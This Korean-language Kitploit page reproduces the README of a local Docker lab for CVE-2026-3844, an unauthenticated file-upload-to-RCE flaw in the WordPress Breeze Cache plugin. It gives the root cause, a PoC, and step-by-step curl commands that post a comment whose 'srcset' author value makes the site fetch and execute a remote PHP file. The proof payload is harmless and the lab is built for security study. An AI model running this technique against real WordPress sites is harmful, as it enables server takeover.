Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-3844-Lab — WordPress Breeze Cache 플러그인의 인증되지 않은 임의 파일 업로드에서 RCE로 이어지는 CVE-2026-3844를 재현하기 위한 로컬 Docker 랩. 격리된 서비스와 최소 피해 PoC를 사용하여 취약한 2.4.4와 패치된 2.4.5를 비교합니다. | Kitploit
도구/GitHubGitHub/rootdirective-sec/cve-2026-3844-lab
Vulnerability AnalysisExploitationWeb Application ExploitationCTFLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2026-3844-lab

CVE-2026-3844-Lab

WordPress Breeze Cache 플러그인의 인증되지 않은 임의 파일 업로드에서 RCE로 이어지는 CVE-2026-3844를 재현하기 위한 로컬 Docker 랩. 격리된 서비스와 최소 피해 PoC를 사용하여 취약한 2.4.4와 패치된 2.4.5를 비교합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
저장소 보기
113개월 전아직 검토되지 않음
공유

CVE-2026-3844 — Breeze Cache 무인증 임의 파일 업로드 RCE 랩

WordPress Breeze Cache 플러그인의 CVE-2026-3844 동작을 재현하고 비교하기 위한 로컬 전용 Docker 랩입니다.

이 저장소는 Breeze Cache 2.4.4의 취약한 동작을 시연하고 Breeze Cache 2.4.5의 패치된 동작과 비교합니다. 이 랩은 취약한 버전과 패치된 버전 각각에 대해 격리된 두 개의 WordPress 서비스와 Docker 네트워크 내부의 로컬 페이로드 서버를 사용합니다.

PoC는 의도적으로 최소 피해(least-harm) 방식으로 설계되었습니다. 웹셸을 사용하지 않고, 명령 파라미터를 노출하지 않으며, 리버스 셸을 시작하지 않고, 컨테이너 내부에서 파일을 읽을 필요도 없습니다. 증명은 호스트에서 관찰 가능한 HTTP 동작을 기반으로 합니다.


핵심 요약

CVE-2026-3844는 WordPress용 Breeze Cache 플러그인 버전 2.4.4까지 영향을 줍니다. 취약한 코드 경로는 플러그인의 로컬 Gravatar 캐싱 기능, 특히 fetch_gravatar_from_remote() 흐름과 관련되어 있습니다.

Breeze 옵션 Host Files Locally - Gravatars가 활성화되면, 취약한 버전은 공격자가 제어하는 원격 파일을 가져와 공개적으로 웹에서 접근 가능한 캐시 디렉토리에 저장할 수 있습니다. 가져온 파일이 PHP인 경우, HTTP로 요청되면 웹 서버가 해당 파일을 실행할 수 있습니다.

이 랩은 해당 동작을 로컬에서 재현합니다:

  • vuln 서비스: WordPress + Breeze Cache 2.4.4
  • patched 서비스: WordPress + Breeze Cache 2.4.5
  • payload 서비스: 로컬 Docker 전용 페이로드 서버
  • PoC: 통제된 srcset 문자열을 사용한 인증 없는 댓글 기반 트리거
  • 예상 결과는 다음과 같습니다:

    • http://127.0.0.1:8081 / Breeze 2.4.4 → 증명용 PHP가 캐시되고 실행됨
    • http://127.0.0.1:8082 / Breeze 2.4.5 → 증명용 PHP가 캐시/읽기/실행되지 않음

    저장소 구조

    root@kitploit:~
    .
    ├── docker-compose.yml
    ├── vuln/
    │   └── Dockerfile
    ├── patched/
    │   └── Dockerfile
    ├── scripts/
    │   └── seed-wordpress.sh
    ├── payload/
    │   └── manual-proof.php
    │   └── proof-cve3844.php
    ├── poc/
    │   └── poc.py
    │   └── requirements.txt
    ├── .gitignore
    ├── README.md
    

    랩 아키텍처

    root@kitploit:~
    Host machine
    │
    ├── http://127.0.0.1:8081  -> vuln WordPress + Breeze 2.4.4
    ├── http://127.0.0.1:8082  -> patched WordPress + Breeze 2.4.5
    └── http://127.0.0.1:9100  -> local payload server
    
    Docker network
    │
    ├── vuln       -> WordPress vulnerable target
    ├── patched    -> WordPress patched target
    ├── vuln_db    -> MariaDB for vulnerable WordPress
    ├── patched_db -> MariaDB for patched WordPress
    └── payload    -> Python static HTTP server
    

    WordPress 컨테이너는 Docker 네트워크 URL을 통해 페이로드를 가져옵니다:

    root@kitploit:~
    http://payload:9100/<payload-file>.php
    

    호스트는 WordPress 서비스에 대한 일반 HTTP 요청을 통해 결과를 확인합니다.


    영향받는 구성 요소

    • 제품: WordPress용 Breeze Cache 플러그인
    • 이 랩의 취약한 버전: 2.4.4
    • 이 랩의 패치된 버전: 2.4.5
    • 취약한 함수: fetch_gravatar_from_remote()
    • 관련 파일: inc/class-breeze-cache-cronjobs.php
    • 필요 사전 조건: breeze-store-gravatars-locally가 활성화되어 있어야 함

    취약한 동작은 로컬 Gravatar 캐싱이 활성화된 경우에만 도달할 수 있습니다. 이 옵션은 일반적인 설치에서는 기본적으로 비활성화되어 있지만, 이 랩에서는 취약한 코드 경로를 재현하기 위해 의도적으로 활성화합니다.


    근본 원인 요약

    Breeze Cache 2.4.4에서 Gravatar 로컬화 흐름은 아바타 관련 HTML에서 원격 URL을 추출하여 해당 URL을 fetch_gravatar_from_remote()에 전달할 수 있습니다.

    취약한 버전에는 원격 파일에 대한 충분한 검증이 부족합니다:

    • Gravatar 소스에 대한 엄격한 신뢰 호스트 검증 없음
    • 저장 전 신뢰할 수 있는 파일 확장자 허용 목록 없음
    • 공개 캐시 디렉토리에 파일을 배치하기 전 MIME/콘텐츠 검증 없음
    • 가져온 파일이 .php와 같은 위험한 확장자를 유지할 수 있음

    결과 파일은 다음 경로에 저장됩니다:

    root@kitploit:~
    /wp-content/cache/breeze-extra/gravatars/
    

    PHP 파일이 해당 위치에 저장된 후 Apache/PHP를 통해 요청되면 서버가 이를 실행합니다.

    Breeze Cache 2.4.5에서는 패치된 흐름에 이 랩의 페이로드가 실행 가능한 PHP로 캐시되지 않도록 하는 검증이 추가되었습니다. 로컬 재현에서 동일한 트리거는 2.4.4에서는 동작하지만 2.4.5에서는 증명 마커를 노출하지 않습니다.


    이 랩이 MU 플러그인 헬퍼를 사용하는 이유

    이 랩은 공개 페이로드 호스트 대신 의도적으로 페이로드 서버를 로컬에 유지합니다.

    WordPress download_url() 및 WordPress HTTP API는 기본적으로 일부 사설 Docker 호스트 이름과 비표준 포트를 거부합니다. 공개 익스플로잇 스크립트는 종종 이러한 제한을 피하는 공개 HTTPS 페이로드 URL을 사용합니다. 이 랩은 그렇게 하지 않습니다.

    재현을 완전히 로컬로 유지하기 위해 시드 스크립트는 다음을 수행하는 소규모 로컬 전용 MU 플러그인 헬퍼를 설치합니다:

    • 로컬 Docker 페이로드 호스트 이름 payload 및 payload.local만 허용
    • 랩 포트 80 및 9100만 허용
    • 랩 댓글 자동 승인
    • 결정적(deterministic) 로컬 테스트를 위해 댓글 플러드 검사 비활성화

    이 헬퍼는 Breeze 소스 코드를 수정하지 않습니다. 취약한 서비스와 패치된 서비스 모두 WP-CLI를 통해 설치된 실제 Breeze 플러그인 버전을 사용합니다.

    헬퍼는 Docker 랩을 결정적이고 로컬 전용으로 만들기 위해서만 존재합니다.


    안전 모델

    이 저장소는 로컬 보안 연구 및 포트폴리오 시연 전용입니다.

    안전장치:

    • localhost 및 Docker 네트워크 서비스에서만 실행
    • 외부 콜백 서버 없음
    • 공개 익스플로잇 대상 없음
    • 리버스 셸 없음
    • 대화형 셸 없음
    • cmd= 웹셸 동작 없음
    • 비밀 또는 실제 자격 증명 없음
    • 증명을 위한 컨테이너 파일 읽기 없음
    • 증명은 HTTP 응답 동작을 통해 관찰됨

    PoC 페이로드는 무해한 PHP 런타임 정보를 출력합니다:

    root@kitploit:~
    CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
    php_sapi=apache2handler
    user=www-data
    uid=33
    pid=<process id>
    host=<container hostname>
    

    이것은 셸 명령을 생성하지 않고 코드 실행 컨텍스트를 증명합니다.


    요구 사항

    • Docker Desktop 또는 Docker Engine
    • Docker Compose v2
    • Python 3.9+
    • Python 패키지: requests

    Python 의존성 설치:

    root@kitploit:~
    python3 -m venv .venv
    source .venv/bin/activate
    pip install -r poc/requirements.txt
    

    requirements.txt에는 다음이 포함되어야 합니다:

    root@kitploit:~
    requests
    

    빠른 시작

    랩 빌드 및 시작:

    root@kitploit:~
    docker compose down -v --remove-orphans
    docker compose up -d --build
    

    서비스 상태 확인:

    root@kitploit:~
    docker compose ps
    

    예상 서비스:

    root@kitploit:~
    vuln        healthy    http://127.0.0.1:8081
    patched     healthy    http://127.0.0.1:8082
    payload     running    http://127.0.0.1:9100
    vuln_db     healthy
    patched_db  healthy
    

    시드 로그 확인:

    root@kitploit:~
    docker compose logs --tail=120 vuln
    docker compose logs --tail=120 patched
    

    예상 로그 라인:

    root@kitploit:~
    [seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
    [seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5
    

    랩 준비 상태 확인

    WordPress 설치 확인:

    root@kitploit:~
    docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
    docker compose exec patched wp core is-installed --allow-root --path=/var/www/html
    

    Breeze 버전 확인:

    root@kitploit:~
    docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
    docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html
    

    예상:

    root@kitploit:~
    2.4.4
    2.4.5
    

    취약한 사전 조건 확인:

    root@kitploit:~
    docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
    docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
    

    예상:

    root@kitploit:~
    1
    1
    

    WordPress가 로컬 페이로드 서비스를 가져올 수 있는지 확인:

    root@kitploit:~
    docker compose exec vuln wp eval '
    $r = download_url("http://payload:9100/proof-cve3844.php");
    if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
    echo $r . PHP_EOL;
    echo file_get_contents($r);
    @unlink($r);
    ' --allow-root --path=/var/www/html
    

    proof-cve3844.php가 아직 존재하지 않으면 payload/에 임시 파일을 만들거나 PoC를 한 번 실행하세요.


    PoC 실행

    취약한 서비스 대상 실행:

    root@kitploit:~
    python3 poc/poc.py --base-url http://127.0.0.1:8081
    

    예상 취약 결과:

    root@kitploit:~
    [VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
    [+] PHP proof appears to have executed
    

    증명 출력 예시:

    root@kitploit:~
    CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
    php_sapi=apache2handler
    user=www-data
    uid=33
    pid=<pid>
    host=<container hostname>
    

    패치된 서비스 대상 실행:

    root@kitploit:~
    python3 poc/poc.py --base-url http://127.0.0.1:8082
    

    예상 패치 결과:

    root@kitploit:~
    [PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable
    

    301 Moved Permanently와 같은 리다이렉트는 증명으로 간주되지 않습니다. PoC는 고유 마커가 HTTP 응답 본문에 나타나야 합니다.


    PoC가 수행하는 작업

    PoC는 다음의 로컬 전용 흐름을 수행합니다:

    1. payload/ 아래에 고유한 PHP 증명 파일을 생성합니다.
    2. 로컬 페이로드 서비스를 통해 이를 서빙합니다.
    3. 작성자 값에 다음을 포함하는 인증 없는 WordPress 댓글을 게시합니다:
    root@kitploit:~
    x srcset=http://payload:9100/<unique-payload>.php
    
    1. WordPress 게시물 페이지를 요청하여 Breeze 아바타 처리를 트리거합니다.
    2. 예상되는 공개 Breeze 캐시 경로를 확인합니다:
    root@kitploit:~
    /wp-content/cache/breeze-extra/gravatars/<unique-payload>.php
    
    1. 고유 증명 마커가 HTTP 응답에 나타나는 경우에만 취약점을 확인합니다.
    2. --keep-payload를 사용하지 않으면 생성된 로컬 페이로드 파일을 제거합니다.

    PoC는 대상 컨테이너 내부에서 파일을 읽지 않습니다. 증거는 호스트에서 HTTP를 통해 수집됩니다.


    수동 재현

    수동 페이로드 생성:

    root@kitploit:~
    cat > payload/manual-proof.php <<'PHP'
    <?php
    header('Content-Type: text/plain');
    
    echo "CVE-2026-3844_MANUAL_PROOF\n";
    echo "php_sapi=" . php_sapi_name() . "\n";
    echo "user=" . get_current_user() . "\n";
    echo "uid=" . (function_exists('posix_geteuid') ? posix_geteuid() : getmyuid()) . "\n";
    echo "pid=" . getmypid() . "\n";
    echo "host=" . gethostname() . "\n";
    PHP
    

    페이로드 서버가 PHP 소스를 정적 텍스트로 서빙하는지 확인:

    root@kitploit:~
    curl -i http://127.0.0.1:9100/manual-proof.php
    

    취약한 WordPress 서비스에 댓글 게시:

    root@kitploit:~
    curl -i -sS \
      -X POST 'http://127.0.0.1:8081/wp-comments-post.php' \
      -H 'Content-Type: application/x-www-form-urlencoded' \
      --data-urlencode 'comment_post_ID=1' \
      --data-urlencode 'comment_parent=0' \
      --data-urlencode 'author=x srcset=http://payload:9100/manual-proof.php' \
      --data-urlencode '[email protected]' \
      --data-urlencode 'url=' \
      --data-urlencode 'comment=manual CVE-2026-3844 proof' \
      --data-urlencode 'submit=Post Comment'
    

    구성된 WordPress 사이트 URL 호스트를 통해 게시물을 렌더링하여 Breeze 처리를 트리거:

    root@kitploit:~
    curl -sS 'http://localhost:8081/?p=1' >/tmp/cve3844-vuln-render.html
    grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html
    

    예상 HTML 증거:

    root@kitploit:~
    alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'
    

    캐시된 PHP 파일 요청:

    root@kitploit:~
    curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'
    

    예상 취약 증명:

    root@kitploit:~
    HTTP/1.1 200 OK
    Content-Type: text/plain;charset=UTF-8
    
    CVE-2026-3844_MANUAL_PROOF
    php_sapi=apache2handler
    user=www-data
    uid=33
    pid=<pid>
    host=<container hostname>
    

    페이로드 로그 확인:

    root@kitploit:~
    docker compose logs --tail=50 payload
    

    예상:

    root@kitploit:~
    GET /manual-proof.php HTTP/1.1" 200
    

    예상 결과

    대상Breeze 버전예상 결과
    http://127.0.0.1:80812.4.4PHP 증명이 가져와지고, 캐시되고, 실행 가능함
    http://127.0.0.1:80822.4.5PHP 증명 마커가 노출되지 않음

    정리

    컨테이너, 네트워크 및 볼륨 중지 및 제거:

    root@kitploit:~
    docker compose down -v --remove-orphans
    

    필요한 경우 생성된 페이로드 파일 제거:

    root@kitploit:~
    rm -f payload/proof-cve3844-*.php payload/manual-proof*.php
    

    참고 자료

    • NVD — CVE-2026-3844:
      https://nvd.nist.gov/vuln/detail/CVE-2026-3844

    • Patchstack 데이터베이스 — WordPress Breeze Cache 플러그인 <= 2.4.4 fetch_gravatar_from_remote를 통한 무인증 임의 파일 업로드:
      https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability

    • Wordfence 위협 인텔리전스 — Breeze Cache <= 2.4.4 무인증 임의 파일 업로드:
      https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote

    • Wordfence 블로그 — Breeze Cache 취약점의 활발한 악용 관련 보도:
      https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/

    • Breeze Cache 플러그인 페이지:
      https://wordpress.org/plugins/breeze/

    • 이 랩에서 사용된 WordPress 플러그인 다운로드:

      • Breeze Cache 2.4.4:
        https://downloads.wordpress.org/plugin/breeze.2.4.4.zip
      • Breeze Cache 2.4.5:
        https://downloads.wordpress.org/plugin/breeze.2.4.5.zip
    • WordPress Plugin Trac — Breeze 소스 참조, class-breeze-cache-cronjobs.php:
      https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php

    • WordPress Plugin Trac — Breeze 패치 소스 참조, class-breeze-cache-cronjobs.php:
      https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php


    면책 조항

    이 프로젝트는 승인된 로컬 보안 연구용으로만 제공됩니다. 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 대해 PoC를 실행하지 마십시오.

    도구 다운로드